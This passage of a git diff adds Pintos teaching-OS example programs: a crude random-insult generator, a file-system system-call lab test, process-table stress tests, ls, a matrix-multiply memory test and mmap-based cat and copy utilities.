"vat", "of" +}; +char noun_and_prepLoc[] = + { 21, 0, 2, 4, 6, 8, 10, 12, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36, +38, 40, 42 }; +char *organics[] = + { "droppings", "mung", "zits", "puckies", "tumors", "cysts", "tumors", +"livers", "froth", "parts", "scabs", "guts", "entrails", "blubber", "carcuses", "gizards", +"9" +}; +char organicsLoc[] = + { 17, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17 }; +char *body_parts[] = + { "kidneys", "genitals", "buttocks", "earlobes", "innards", "feet" +}; +char body_partsLoc[] = { 6, 0, 1, 2, 3, 4, 5, 6 }; +char *noun[] = + { "pop", "tart", "warthog", "twinkie", "barnacle", "fondue", "pot", +"cretin", "fuckwad", "moron", "ass", "neanderthal", "nincompoop", "simpleton", "11" +}; +char nounLoc[] = { 13, 0, 2, 3, 4, 5, 7, 8, 9, 10, 11, 12, 13, 14, 15 }; +char *animal[] = + { "donkey", "llama", "dingo", "lizard", "gekko", "lemur", "moose", "camel", +"goat", "eel" +}; +char animalLoc[] = { 10, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; +char *good_verb[] = + { "love", "cuddle", "fondle", "adore", "smooch", "hug", "caress", "worship", +"look", "at", "touch" +}; +char good_verbLoc[] = { 10, 0, 1, 2, 3, 4, 5, 6, 7, 8, 10, 11 }; +char *curse[] = + { "14", "20", "23", "14", "17", "20", "23", "14", "find", "your", "9", +"suddenly", "delectable", "14", "and", "14", "seek", "a", "battleground", "23" +}; +char curseLoc[] = { 4, 0, 3, 7, 13, 20 }; +char *afflictors[] = + { "15", "21", "15", "21", "15", "21", "15", "21", "a", "22", "Rush", +"Limbaugh", "the", "hosts", "of", "Hades" +}; +char afflictorsLoc[] = { 6, 0, 2, 4, 6, 8, 12, 16 }; +char *quantity[] = + { "a", "4", "hoard", "of", "a", "4", "pack", "of", "a", "truckload", "of", +"a", "swarm", "of", "many", "an", "army", "of", "a", "4", "heard", "of", "a", "4", +"platoon", "of", "a", "4", "and", "4", "group", "of", "16" +}; +char quantityLoc[] = { 10, 0, 4, 8, 11, 14, 15, 18, 22, 26, 32, 33 }; +char *numbers[] = + { "a", "thousand", "three", "million", "ninty-nine", "nine-hundred,", +"ninty-nine", "forty-two", "a", "gazillion", "sixty-eight", "times", "thirty-three" +}; +char numbersLoc[] = { 7, 0, 2, 4, 5, 7, 8, 10, 13 }; +char *adv[] = + { "viciously", "manicly", "merrily", "happily", ",", "with", "the", "19", +"of", "18", ",", "gleefully", ",", "with", "much", "ritualistic", "celebration", ",", +"franticly" +}; +char advLoc[] = { 8, 0, 1, 2, 3, 4, 11, 12, 18, 19 }; +char *metaphor[] = + { "an", "irate", "manticore", "Thor's", "belch", "Alah's", "fist", "16", +"titans", "a", "particularly", "vicious", "she-bear", "in", "the", "midst", "of", "her", +"menstrual", "cycle", "a", "pissed-off", "Jabberwock" +}; +char metaphorLoc[] = { 6, 0, 3, 5, 7, 9, 20, 23 }; +char *force[] = { "force", "fury", "power", "rage" }; +char forceLoc[] = { 4, 0, 1, 2, 3, 4 }; +char *bad_action[] = + { "spit", "shimmy", "slobber", "find", "refuge", "find", "shelter", "dance", +"retch", "vomit", "defecate", "erect", "a", "strip", "mall", "build", "a", "26", "have", "a", +"religious", "experience", "discharge", "bodily", "waste", "fart", "dance", "drool", +"lambada", "spill", "16", "rusty", "tacks", "bite", "you", "sneeze", "sing", "16", +"campfire", "songs", "smite", "you", "16", "times", "construct", "a", "new", "home", "throw", +"a", "party", "procreate" +}; +char bad_actionLoc[] = + { 25, 0, 1, 2, 3, 5, 7, 8, 9, 10, 11, 15, 18, 22, 25, 26, 27, 28, 29, 33, +35, 36, 40, 44, 48, 51, 52 }; +char *beasties[] = + { "yaks", "22", "maggots", "22", "cockroaches", "stinging", "scorpions", +"fleas", "22", "weasels", "22", "gnats", "South", "American", "killer", "bees", "spiders", +"4", "monkeys", "22", "wiener-dogs", "22", "rats", "22", "wolverines", "4", ",", "22", +"pit-fiends" +}; +char beastiesLoc[] = + { 14, 0, 1, 3, 5, 7, 8, 10, 12, 16, 17, 19, 21, 23, 25, 29 }; +char *condition[] = + { "frothing", "manic", "crazed", "plague-ridden", "disease-carrying", +"biting", "rabid", "blood-thirsty", "ravaging", "slavering" +}; +char conditionLoc[] = { 10, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; +char *place[] = + { "in", "24", "25", "upon", "your", "mother's", "grave", "on", "24", "best", +"rug", "in", "the", "26", "you", "call", "home", "upon", "your", "heinie" +}; +char placeLoc[] = { 5, 0, 3, 7, 11, 17, 20 }; +char *relation[] = + { "your", "your", "your", "your", "father's", "your", "mother's", "your", +"grandma's" +}; +char relationLoc[] = { 6, 0, 1, 2, 3, 5, 7, 9 }; +char *in_something[] = + { "entrails", "anal", "cavity", "shoes", "house", "pantry", "general", +"direction", "pants", "bed" +}; +char in_somethingLoc[] = { 8, 0, 1, 3, 4, 5, 6, 8, 9, 10 }; +char *bad_place[] = + { "rat", "hole", "sewer", "toxic", "dump", "oil", "refinery", "landfill", +"porto-pottie" +}; +char bad_placeLoc[] = { 6, 0, 2, 3, 5, 7, 8, 9 }; +char **daGrammar[27]; +char *daGLoc[27]; + +static void +init_grammar (void) +{ + daGrammar[0] = start; + daGLoc[0] = startLoc; + daGrammar[1] = adj; + daGLoc[1] = adjLoc; + daGrammar[2] = adj3; + daGLoc[2] = adj3Loc; + daGrammar[3] = adj1; + daGLoc[3] = adj1Loc; + daGrammar[4] = adj2; + daGLoc[4] = adj2Loc; + daGrammar[5] = name; + daGLoc[5] = nameLoc; + daGrammar[6] = stuff; + daGLoc[6] = stuffLoc; + daGrammar[7] = noun_and_prep; + daGLoc[7] = noun_and_prepLoc; + daGrammar[8] = organics; + daGLoc[8] = organicsLoc; + daGrammar[9] = body_parts; + daGLoc[9] = body_partsLoc; + daGrammar[10] = noun; + daGLoc[10] = nounLoc; + daGrammar[11] = animal; + daGLoc[11] = animalLoc; + daGrammar[12] = good_verb; + daGLoc[12] = good_verbLoc; + daGrammar[13] = curse; + daGLoc[13] = curseLoc; + daGrammar[14] = afflictors; + daGLoc[14] = afflictorsLoc; + daGrammar[15] = quantity; + daGLoc[15] = quantityLoc; + daGrammar[16] = numbers; + daGLoc[16] = numbersLoc; + daGrammar[17] = adv; + daGLoc[17] = advLoc; + daGrammar[18] = metaphor; + daGLoc[18] = metaphorLoc; + daGrammar[19] = force; + daGLoc[19] = forceLoc; + daGrammar[20] = bad_action; + daGLoc[20] = bad_actionLoc; + daGrammar[21] = beasties; + daGLoc[21] = beastiesLoc; + daGrammar[22] = condition; + daGLoc[22] = conditionLoc; + daGrammar[23] = place; + daGLoc[23] = placeLoc; + daGrammar[24] = relation; + daGLoc[24] = relationLoc; + daGrammar[25] = in_something; + daGLoc[25] = in_somethingLoc; + daGrammar[26] = bad_place; + daGLoc[26] = bad_placeLoc; +} + +#include <ctype.h> +#include <debug.h> +#include <random.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> +#include <syscall.h> + +void expand (int num, char **grammar[], char *location[], int handle); + +static void +usage (int ret_code, const char *message, ...) PRINTF_FORMAT (2, 3); + +static void +usage (int ret_code, const char *message, ...) +{ + va_list args; + + if (message != NULL) + { + va_start (args, message); + vprintf (message, args); + va_end (args); + } + + printf ("\n" + "Usage: insult [OPTION]...\n" + "Prints random insults to screen.\n\n" + " -h: this help message\n" + " -s <integer>: set the random seed (default 4951)\n" + " -n <integer>: choose number of insults (default 4)\n" + " -f <file>: redirect output to <file>\n"); + + exit (ret_code); +} + +int +main (int argc, char *argv[]) +{ + int sentence_cnt, new_seed, i, file_flag, sent_flag, seed_flag; + int handle; + + new_seed = 4951; + sentence_cnt = 4; + file_flag = 0; + seed_flag = 0; + sent_flag = 0; + handle = STDOUT_FILENO; + + for (i = 1; i < argc; i++) + { + if (strcmp (argv[1], "-h") == 0) + usage (0, NULL); + else if (strcmp (argv[i], "-s") == 0) + { + if (seed_flag++) + usage (-1, "Can't have more than one seed"); + if (++i >= argc) + usage (-1, "Missing value for -s"); + new_seed = atoi (argv[i]); + } + else if (strcmp (argv[i], "-n") == 0) + { + if (sent_flag++) + usage (-1, "Can't have more than one sentence option"); + if (++i >= argc) + usage (-1, "Missing value for -n"); + sentence_cnt = atoi (argv[i]); + if (sentence_cnt < 1) + usage (-1, "Must have at least one sentence"); + } + else if (strcmp (argv[i], "-f") == 0) + { + if (file_flag++) + usage (-1, "Can't have more than one output file"); + if (++i >= argc) + usage (-1, "Missing value for -f"); + + /* Because files have fixed length in the basic Pintos file + system, the 0 argument means that this option will not be + useful until extensible files is implemented */ + create (argv[i], 0); + handle = open (argv[i]); + if (handle < 0) + { + printf ("%s: open failed\n", argv[i]); + return EXIT_FAILURE; + } + } + else + usage (-1, "Unrecognized flag"); + } + + init_grammar (); + + random_init (new_seed); + hprintf (handle, "\n"); + + for (i = 0; i < sentence_cnt; i++) + { + hprintf (handle, "\n"); + expand (0, daGrammar, daGLoc, handle); + hprintf (handle, "\n\n"); + } + + if (file_flag) + close (handle); + + return EXIT_SUCCESS; +} + +void +expand (int num, char **grammar[], char *location[], int handle) +{ + char *word; + int i, which, listStart, listEnd; + + which = random_ulong () % location[num][0] + 1; + listStart = location[num][which]; + listEnd = location[num][which + 1]; + for (i = listStart; i < listEnd; i++) + { + word = grammar[num][i]; + if (!isdigit (*word)) + { + if (!ispunct (*word)) + hprintf (handle, " "); + hprintf (handle, "%s", word); + } + else + expand (atoi (word), grammar, location, handle); + } + +} diff --git a/src/examples/lab2test.c.old b/src/examples/lab2test.c.old new file mode 100644 index 0000000..ea4fc83 --- /dev/null +++ b/src/examples/lab2test.c.old @@ -0,0 +1,183 @@ +#include <stdio.h>
+//#include <string.h>
+//#include <syscall-nr.h>
+
+#include <syscall.h>
+#include <stdarg.h>
+
+int mystrlen(char *str);
+
+void mysprintf(char *sbuf, char *str, ...);
+
+int main(void)
+{
+ char *descr = "This is test program v0.1 that tests your implementation of lab 2 in TDDB68/72\n";
+ char *test1 = "The first test is to create three files.\n";
+ char *test2 = "Now lets write some data to the files. Write some binary data to some files.\n";
+ char *test3 = "Test string that is written to a file.\n";
+ char *test4 = "Test to read back data from files.\n";
+ char *test5 = "Test to read from and write to arbitrary file handles.\n";
+ char *test6 = "Get data from console. Please, write something (10 characters).\n";
+ char *test7 = "Test to open a file that does not exist.\n";
+ //char binarydata[] = {1,2,3,4,5,0,1,2,3,4};
+ char binarydata[10];
+ char sbuf[50];
+ int file[3];
+ int readNum, i;
+
+ // verkar vara något fel med fördefinerade variablar.. tex char buf[10] = {0} ger oxå samma fel
+ binarydata[0] = 1;
+ binarydata[1] = 2;
+ binarydata[2] = 3;
+ binarydata[3] = 4;
+ binarydata[4] = 5;
+ binarydata[5] = 0;
+ binarydata[6] = 1;
+ binarydata[7] = 2;
+ binarydata[8] = 3;
+ binarydata[9] = 4;
+
+ write(STDOUT_FILENO, descr, mystrlen(descr));
+ write(STDOUT_FILENO, test1, mystrlen(test1));
+ if (!create("test0", mystrlen(test3))) {
+ mysprintf(sbuf, "Could not create test0\n");
+ write(STDOUT_FILENO, sbuf, mystrlen(sbuf));
+ halt();
+ }
+ if (!create("test1", 1024)){
+ mysprintf(sbuf, "Could not create test1\n");
+ write(STDOUT_FILENO, sbuf, mystrlen(sbuf));
+ halt();
+ }
+ if (!create("test2", 1024)){
+ mysprintf(sbuf, "Could not create test1\n");
+ write(STDOUT_FILENO, sbuf, mystrlen(sbuf));
+ halt();
+ }
+
+ for(i = 0; i < 2; i++){
+ mysprintf(sbuf, "test%d", i);
+ file[i] = open(sbuf);
+ if(file[i] > 1){
+ mysprintf(sbuf, "Could open test%d\n", i);
+ write(STDOUT_FILENO, sbuf, mystrlen(sbuf));
+ }
+ else{
+ mysprintf(sbuf, "Could not open test%d\n", i);
+ write(STDOUT_FILENO, sbuf, mystrlen(sbuf));
+ halt();
+ }
+ }
+
+ write(STDOUT_FILENO, test6, mystrlen(test6));
+ readNum = read(STDIN_FILENO, sbuf, 10);
+ if(readNum != 10){
+ mysprintf(sbuf, "Did not read 10 characters from the console.\n");
+ write(STDOUT_FILENO, sbuf, mystrlen(sbuf));
+ halt();
+ }
+
+ write(STDOUT_FILENO, test2, mystrlen(test2));
+ write(file[0], test3, mystrlen(test3));
+ write(file[1], binarydata, 10);
+
+ write(STDOUT_FILENO, test4, mystrlen(test4));
+ close(file[0]);
+ file[0] = open("test0");
+ readNum = read(file[0], sbuf, 40); // lite konstigt test..
+ if(readNum != mystrlen(test3)){ // test4?, bara tur att sbuf[39+] = 0
+ mysprintf(sbuf, "Could not read back from test0 (%d), %d characters read instead!\n", mystrlen(test3), readNum);
+ write(STDOUT_FILENO, sbuf, mystrlen(sbuf));
+ halt();
+ }
+ close(file[1]);
+ file[1] = open("test1");
+ readNum = read(file[1], sbuf, 10);
+ if(readNum != 10){
+ mysprintf(sbuf, "Could not read back binary data from test1\n");
+ write(STDOUT_FILENO, sbuf, mystrlen(sbuf));
+ halt();
+ }
+
+ write(STDOUT_FILENO, test5, mystrlen(test5));
+ write(87, "hej", 3);
+ readNum = read(1006, sbuf, 3);
+ if(readNum != -1){
+ mysprintf(sbuf, "Your should catch that I tried to read from file 1006\n");
+ write(STDOUT_FILENO, sbuf, mystrlen(sbuf));
+ }
+ else{
+ mysprintf(sbuf, "Good, you noted that I tried to read, wrongly, from the file 1006\n");
+ write(STDOUT_FILENO, sbuf, mystrlen(sbuf));
+ }
+
+ write(STDOUT_FILENO, test7, mystrlen(test7));
+ file[2] = open("fdsfa");
+ if(file[2] > 1){
+ mysprintf(sbuf, "We got a valid file handle!\n");
+ write(STDOUT_FILENO, sbuf, mystrlen(sbuf));
+ halt();
+ } else {
+ mysprintf(sbuf, "PASSED!\n");
+ write(STDOUT_FILENO, sbuf, mystrlen(sbuf));
+ }
+ halt();
+}
+
+int mystrlen(char *str)
+{
+ int len = 0;
+ while(*str != '\0'){
+ len++;
+ str++;
+ }
+ return len;
+}
+
+void mysprintf(char *sbuf, char *str, ...)
+{
+ int j;
+ char buffer[15];
+ int ival;
+ va_list ap;
+ va_start(ap, str);
+
+
+ for(; *str != '\0';){
+ if(*str == '%'){
+ str++;
+ switch(*str){
+ case 'd':
+ ival = va_arg(ap, int);
+ if(ival == 0){
+ *sbuf = '0';
+ sbuf++;
+ }
+ else{
+ for(j = 14; ival > 0; j--){
+ buffer[j] = ival % 10 + '0';
+ ival /= 10;
+ }
+ j++;
+ for(;j < 15;){
+ *sbuf = buffer[j];
+ sbuf++;
+ j++;
+ }
+ }
+ str++;
+ break;
+ case 's':
+ break;
+ default:
+ break;
+ }
+ }
+ else{
+ *sbuf = *str;
+ sbuf++;
+ str++;
+ }
+ }
+ *sbuf = '\0';
+}
diff --git a/src/examples/lab2test.d b/src/examples/lab2test.d new file mode 100644 index 0000000..f930cf3 --- /dev/null +++ b/src/examples/lab2test.d @@ -0,0 +1,3 @@ +lab2test.o: lab2test.c ../lib/stdio.h ../lib/debug.h ../lib/stdarg.h \ + ../lib/stdbool.h ../lib/stddef.h ../lib/stdint.h ../lib/user/stdio.h \ + ../lib/user/syscall.h diff --git a/src/examples/lab2test.o b/src/examples/lab2test.o Binary files differnew file mode 100644 index 0000000..7fa4c56 --- /dev/null +++ b/src/examples/lab2test.o diff --git a/src/examples/lib/.cvsignore b/src/examples/lib/.cvsignore new file mode 100644 index 0000000..a438335 --- /dev/null +++ b/src/examples/lib/.cvsignore @@ -0,0 +1 @@ +*.d diff --git a/src/examples/lib/user/.cvsignore b/src/examples/lib/user/.cvsignore new file mode 100644 index 0000000..a438335 --- /dev/null +++ b/src/examples/lib/user/.cvsignore @@ -0,0 +1 @@ +*.d diff --git a/src/examples/lib/user/.dummy b/src/examples/lib/user/.dummy new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/src/examples/lib/user/.dummy diff --git a/src/examples/line_echo.c b/src/examples/line_echo.c new file mode 100644 index 0000000..5aa5ee9 --- /dev/null +++ b/src/examples/line_echo.c @@ -0,0 +1,60 @@ +/* klaar@ida
+
+ pintos --fs-disk=2 -v -k -p ../examples/line_echo -a line_echo -- -f -q run line_echo
+
+ This program will echo every input line to output.
+ */
+
+#include <stdio.h>
+#include <syscall.h>
+
+int mystrlen(char *start);
+int getline(char *buf, int size);
+
+int main(void)
+{
+ char buf[10];
+ int length;
+ char endl = '\n';
+
+ for ( ; ; )
+ {
+ length = getline(buf, 10);
+
+ if (length != mystrlen(buf))
+ exit(111);
+
+ if (length < 1)
+ break;
+
+ write(STDOUT_FILENO, buf, length);
+ write(STDOUT_FILENO, &endl, 1);
+ }
+
+ return 0;
+}
+
+int getline(char *buf, int size)
+{
+ int i;
+
+ for (i = 0; i < size-1; ++i)
+ {
+ if (read(STDIN_FILENO, &buf[i], 1) != 1)
+ break;
+ if (buf[i] == '\n')
+ break;
+ }
+ buf[i] = '\0';
+ return i;
+}
+
+int mystrlen(char *start)
+{
+ char* end = start;
+
+ while(*end != '\0')
+ ++end;
+
+ return (end - start);
+}
diff --git a/src/examples/lineup.c b/src/examples/lineup.c new file mode 100644 index 0000000..60402d0 --- /dev/null +++ b/src/examples/lineup.c @@ -0,0 +1,46 @@ +/* lineup.c + + Converts a file to uppercase in-place. + + Incidentally, another way to do this while avoiding the seeks + would be to open the input file, then remove() it and reopen + it under another handle. Because of Unix deletion semantics + this works fine. */ + +#include <ctype.h> +#include <stdio.h> +#include <syscall.h> + +int +main (int argc, char *argv[]) +{ + char buf[1024]; + int handle; + + if (argc != 2) + exit (1); + + handle = open (argv[1]); + if (handle < 0) + exit (2); + + for (;;) + { + int n, i; + + n = read (handle, buf, sizeof buf); + if (n <= 0) + break; + + for (i = 0; i < n; i++) + buf[i] = toupper ((unsigned char) buf[i]); + + seek (handle, tell (handle) - n); + if (write (handle, buf, n) != n) + printf ("write failed\n"); + } + + close (handle); + + return EXIT_SUCCESS; +} diff --git a/src/examples/longrun.c b/src/examples/longrun.c new file mode 100644 index 0000000..19ec9ef --- /dev/null +++ b/src/examples/longrun.c @@ -0,0 +1,90 @@ +/* klaar@ida + + pintos -v -k --fs-disk=2 --qemu -p ../examples/longrun -a longrun -p ../examples/dummy -a dummy -- -f -q run 'longrun 10 50' + + Start a lot of processes and let them finish to test if we + eventually run out of process slots. + + To run the test effectively, if you have a limit on number of + processes, lower the limit to 5 processes and run this test like + + 'longrun 5 400' + + It will fill (and if it works empty) your process table 400 times :-) + + Note that some pintos tests requires at least 16 simultaneous + processes to work, so be sure to increase the limit before running + pintos tests. + */ + +#include <syscall.h> +#include <stdlib.h> +#include <stdio.h> + +#define MAX_SIMULTANEOUS 50 +#define MAX_REPEAT 1000 + +int main(int argc, char* argv[]) +{ + char cmd[15]; + int pid[MAX_SIMULTANEOUS]; + unsigned i = 0; + unsigned j = 0; + unsigned simul = 0; + unsigned repeat = 0; + + if (argc != 3) + { + printf("Usage: %s simultaneous repeat\n" + "Where 'simultaneous' is the number of simultaneous processes to \n" + "start and wait for, and 'repeat' how many times this should be \n" + "repeated.\n", argv[0] + ); + return -1; + } + + simul = atoi(argv[1]); + repeat = atoi(argv[2]); + + if (simul > MAX_SIMULTANEOUS) + { + printf("This test program is compiled with a limitation to max %d \n" + "simultaneos processes.\n", MAX_SIMULTANEOUS); + return -1; + } + + if (repeat > MAX_REPEAT) + { + printf("This test program is compiled with a limitation to max %d \n" + "repetitions.\n", MAX_REPEAT); + return -1; + } + + printf("Will try to start a total of %d processes in groups of %d\n", + simul * repeat, simul); + + for (j = 0; j < repeat; ++j) + { + for (i = 0; i < simul; ++i) + { + snprintf(cmd, 15, "dummy %i", j * simul + i); + pid[i] = exec(cmd); + } + + /* There will never be more than 'simul' processes running + * simultaneously, but in total there will be a lot of processes + * (repeat * simul). Just as you can expect in a real system. + */ + for (i = 0; i < simul; ++i) + { + /* probably nothing left to wait for */ + if (pid[i] == -1) + { + printf("ERROR: Aborting test. Some execution(s) failed\n"); + return j+1; + } + wait(pid[i]); + } + } + return 0; +} diff --git a/src/examples/longrun_interactive.c b/src/examples/longrun_interactive.c new file mode 100644 index 0000000..0e871bf --- /dev/null +++ b/src/examples/longrun_interactive.c @@ -0,0 +1,77 @@ +/* klaar@ida + + pintos -v -k --fs-disk=2 --qemu -p ../examples/longrun_interactive -a interactive -p ../examples/generic_parent -a generic_parent -p ../examples/busy -a dummy -- -f -q run 'interactive 10 50' + + NOTE: pintos have a limit on file-name length! + + Start a lot of processes and let them finish to test if we + eventually run out of process slots. + To run the test effectively, if you have a limit on number of + processes, lower the limit to 5 processes and run this test like + + 'longrun 5 400' + + It will fill (and if it works empty) your process table 400 times + :-) + + Note that some pintos tests requires at least 16 simultaneous + processes to work, so be sure to increase the limit before running + pintos tests. + */ + +#include <syscall.h> +#include <stdlib.h> +#include <stdio.h> + +#define MAX_SIMULTANEOUS 50 +#define MAX_REPEAT 1000 +#define BUF_SIZE 64 + +int main(int argc, char* argv[]) +{ + char cmd[BUF_SIZE]; + unsigned j = 0; + unsigned simul = 0; + unsigned repeat = 0; + + if (argc != 3) + { + printf("Usage: %s simultaneous repeat\n" + "Where 'simultaneous' is the number of simultaneous processes to \n" + "start and wait for, and 'repeat' how many times this should be \n" + "repeated.\n", argv[0] + ); + return -1; + } + + simul = atoi(argv[1]); + repeat = atoi(argv[2]); + + if (simul > MAX_SIMULTANEOUS) + { + printf("This test program is compiled with a limitation to max %d \n" + "simultaneos processes.\n", MAX_SIMULTANEOUS); + return -1; + } + + if (repeat > MAX_REPEAT) + { + printf("This test program is compiled with a limitation to max %d \n" + "repetitions.\n", MAX_REPEAT); + return -1; + } + + printf("Will try to start a total of %d processes in groups of %d\n", + simul * repeat, simul); + + for (j = 0; j < repeat; ++j) + { + char buf; + snprintf(cmd, BUF_SIZE, "generic_parent %s %i %i", "dummy", j*simul, simul); + wait(exec(cmd)); + + printf("Press ENTER to continue...\n"); + read(STDIN_FILENO, &buf, 1); + } + return 0; +} diff --git a/src/examples/longrun_nowait.c b/src/examples/longrun_nowait.c new file mode 100644 index 0000000..4c78b2e --- /dev/null +++ b/src/examples/longrun_nowait.c @@ -0,0 +1,89 @@ +/* klaar@ida + + pintos -v -k --fs-disk=2 --qemu -p ../examples/longrun_nowait -a nowait -p ../examples/generic_parent -a generic_parent -p ../examples/busy -a dummy -- -f -q run 'nowait 10 50' + + Start a lot of processes and let them finish to test if we + eventually run out of process slots. + + 'longrun_nowait 10 50' + + Will call generic_parent to start 10 children 50 times (500 + processes). One slot will be used by longrun_nowait itself. 50 + slots will be used by generic_parent (they must be kept so long as + longrun_nowait still execute, since it may want to wait for any of + them). All other slots needed should also be freed as soon as both + generic_parent and it's set of children exits. + + To run the test effectively, if you have a limit on number of + processes, lower that limit to 61 processes and run this test like + + 'longrun_nowait 10 50' + + Note that some pintos tests requires at least 16 simultaneous + processes to work, so be sure to increase the limit before running + pintos tests. + */ + +#include <syscall.h> +#include <stdlib.h> +#include <stdio.h> + +#define MAX_SIMULTANEOUS 50 +#define MAX_REPEAT 1000 +#define BUF_SIZE 64 + +int main(int argc, char* argv[]) +{ + char cmd[BUF_SIZE]; + unsigned j = 0; + unsigned simul = 0; + unsigned repeat = 0; + + if (argc != 3) + { + printf("Usage: %s simultaneous repeat\n" + "Where 'simultaneous' is the number of simultaneous processes to \n" + "start before busywaiting a short while, and 'repeat' how many \n" + "times this should be repeated.\n", argv[0] + ); + return -1; + } + + simul = atoi(argv[1]); + repeat = atoi(argv[2]); + + if (simul > MAX_SIMULTANEOUS) + { + printf("This test program is compiled with a limitation to max %d \n" + "simultaneos processes.\n", MAX_SIMULTANEOUS); + return -1; + } + + if (repeat > MAX_REPEAT) + { + printf("This test program is compiled with a limitation to max %d \n" + "repetitions.\n", MAX_REPEAT); + return -1; + } + + printf("Will try to start a total of %d processes in groups of %d\n", + simul * repeat, simul); + + for (j = 0; j < repeat; ++j) + { + /* you may have to increase the multiple to more than 5 */ + int ticks = 10 * 1000 * 1000 * j / repeat; + + snprintf(cmd, BUF_SIZE, "generic_parent %s %i %i", "dummy", j*simul, simul); + + exec(cmd); + +// plist(); + + /* since we do not have the wait systemcall yet */ + printf("Now entering busy-loop to let some processes finish\n"); + while (ticks--) + ; + } + return 0; +} diff --git a/src/examples/ls.c b/src/examples/ls.c new file mode 100644 index 0000000..6cebddc --- /dev/null +++ b/src/examples/ls.c @@ -0,0 +1,91 @@ +/* ls.c + + Lists the contents of the directory or directories named on + the command line, or of the current directory if none are + named. + + By default, only the name of each file is printed. If "-l" is + given as the first argument, the type, size, and inumber of each + file is also printed. This won't work until the stub filesystem + is replaced with a real filsystem. */ + +#include <syscall.h> +#include <stdio.h> +#include <string.h> + +static bool +list_dir (const char *dir, bool verbose) +{ + int dir_fd = open (dir); + if (dir_fd == -1) + { + printf ("%s: not found\n", dir); + return false; + } + + if (isdir (dir_fd)) + { + char name[READDIR_MAX_LEN]; + + printf ("%s", dir); + if (verbose) + printf (" (inumber %d)", inumber (dir_fd)); + printf (":\n"); + + while (readdir (dir_fd, name)) + { + printf ("%s", name); + if (verbose) + { + char full_name[128]; + int entry_fd; + + snprintf (full_name, sizeof full_name, "%s/%s", dir, name); + entry_fd = open (full_name); + + printf (": "); + if (entry_fd != -1) + { + if (isdir (entry_fd)) + printf ("directory"); + else + printf ("%d-byte file", filesize (entry_fd)); + printf (", inumber %d", inumber (entry_fd)); + } + else + printf ("open failed"); + close (entry_fd); + } + printf ("\n"); + } + } + else + printf ("%s: not a directory\n", dir); + close (dir_fd); + return true; +} + +int +main (int argc, char *argv[]) +{ + bool success = true; + bool verbose = false; + + if (argc > 1 && !strcmp (argv[1], "-l")) + { + verbose = true; + argv++; + argc--; + } + + if (argc <= 1) + success = list_dir (".", verbose); + else + { + int i; + for (i = 1; i < argc; i++) + if (!list_dir (argv[i], verbose)) + success = false; + } + return success ? EXIT_SUCCESS : EXIT_FAILURE; +} diff --git a/src/examples/matmult.c b/src/examples/matmult.c new file mode 100644 index 0000000..4f0615f --- /dev/null +++ b/src/examples/matmult.c @@ -0,0 +1,57 @@ +/* matmult.c + + Test program to do matrix multiplication on large arrays. + + Intended to stress virtual memory system. + + Ideally, we could read the matrices off of the file system, + and store the result back to the file system! + */ + +#include <stdio.h> +#include <syscall.h> + +/* You should define DIM to be large enough that the arrays + don't fit in physical memory. + + Dim Memory + ------ -------- + 16 3 kB + 64 48 kB + 128 192 kB + 256 768 kB + 512 3,072 kB + 1,024 12,288 kB + 2,048 49,152 kB + 4,096 196,608 kB + 8,192 786,432 kB + 16,384 3,145,728 kB */ +#define DIM 128 + +int A[DIM][DIM]; +int B[DIM][DIM]; +int C[DIM][DIM]; + +int +main (void) +{ + int i, j, k; + + /* Initialize the matrices. */ + for (i = 0; i < DIM; i++) + for (j = 0; j < DIM; j++) + { + A[i][j] = i; + B[i][j] = j; + C[i][j] = 0; + } + + /* Multiply matrices. */ + for (i = 0; i < DIM; i++) + for (j = 0; j < DIM; j++) + for (k = 0; k < DIM; k++) + C[i][j] += A[i][k] * B[k][j]; + + /* Done. */ + exit (C[DIM - 1][DIM - 1]); +} diff --git a/src/examples/mcat.c b/src/examples/mcat.c new file mode 100644 index 0000000..7b39760 --- /dev/null +++ b/src/examples/mcat.c @@ -0,0 +1,45 @@ +/* mcat.c + + Prints files specified on command line to the console, using + mmap. */ + +#include <stdio.h> +#include <syscall.h> + +int +main (int argc, char *argv[]) +{ + int i; + + for (i = 1; i < argc; i++) + { + int fd; + mapid_t map; + void *data = (void *) 0x10000000; + int size; + + /* Open input file. */ + fd = open (argv[i]); + if (fd < 0) + { + printf ("%s: open failed\n", argv[i]); + return EXIT_FAILURE; + } + size = filesize (fd); + + /* Map files. */ + map = mmap (fd, data); + if (map == MAP_FAILED) + { + printf ("%s: mmap failed\n", argv[i]); + return EXIT_FAILURE; + } + + /* Write file to console. */ + write (STDOUT_FILENO, data, size); + + /* Unmap files (optional). */ + munmap (map); + } + return EXIT_SUCCESS; +} diff --git a/src/examples/mcp.c b/src/examples/mcp.c new file mode 100644 index 0000000..6091dc8 --- /dev/null +++ b/src/examples/mcp.c @@ -0,0 +1,68 @@ +/* mcp.c + + Copies one file to another, using mmap. */ + +#include <stdio.h> +#include <string.h> +#include <syscall.h> + +int +main (int argc, char *argv[]) +{ + int in_fd, out_fd; + mapid_t in_map, out_map; + void *in_data = (void *) 0x10000000; + void *out_data = (void *) 0x20000000; + int size; + + if (argc != 3) + { + printf ("usage: cp OLD NEW\n"); + return EXIT_FAILURE; + } + + /* Open input file. */ + in_fd = open (argv[1]); + if (in_fd < 0) + { + printf ("%s: open failed\n", argv[1]); + return EXIT_FAILURE; + } + size = filesize (in_fd); + + /* Create and open output file. */ + if (!create (argv[2], size)) + { + printf ("%s: create failed\n", argv[2]); + return EXIT_FAILURE; + } + out_fd = open (argv[2]); + if (out_fd < 0) + { + printf ("%s: open failed\n", argv[2]); + return EXIT_FAILURE; + } + + /* Map files. */ + in_map = mmap (in_fd, in_data); + if (in_map == MAP_FAILED) + { + printf ("%s: mmap failed\n", argv[1]); + return EXIT_FAILURE; + } + out_map = mmap (out_fd, out_data); + if (out_map == MAP_FAILED) + { + printf ("%s: mmap failed\n", argv[2]); + return EXIT_FAILURE; + } + + /* Copy files. */ + memcpy (out_data, in_data, size); + + /* Unmap files (optional). */ + munmap (in_map); + munmap (out_map); + + return EXIT_SUCCESS; +} diff --git a/src/examples/mkdir.c b/src/examples/mkdir.c new file mode 100644 index 0000000..7ddbc3f --- /dev/null +++ b/src/examples/mkdir.c @@ -0,0 +1,24 @@ +/* mkdir.c + + Creates a directory. */ + 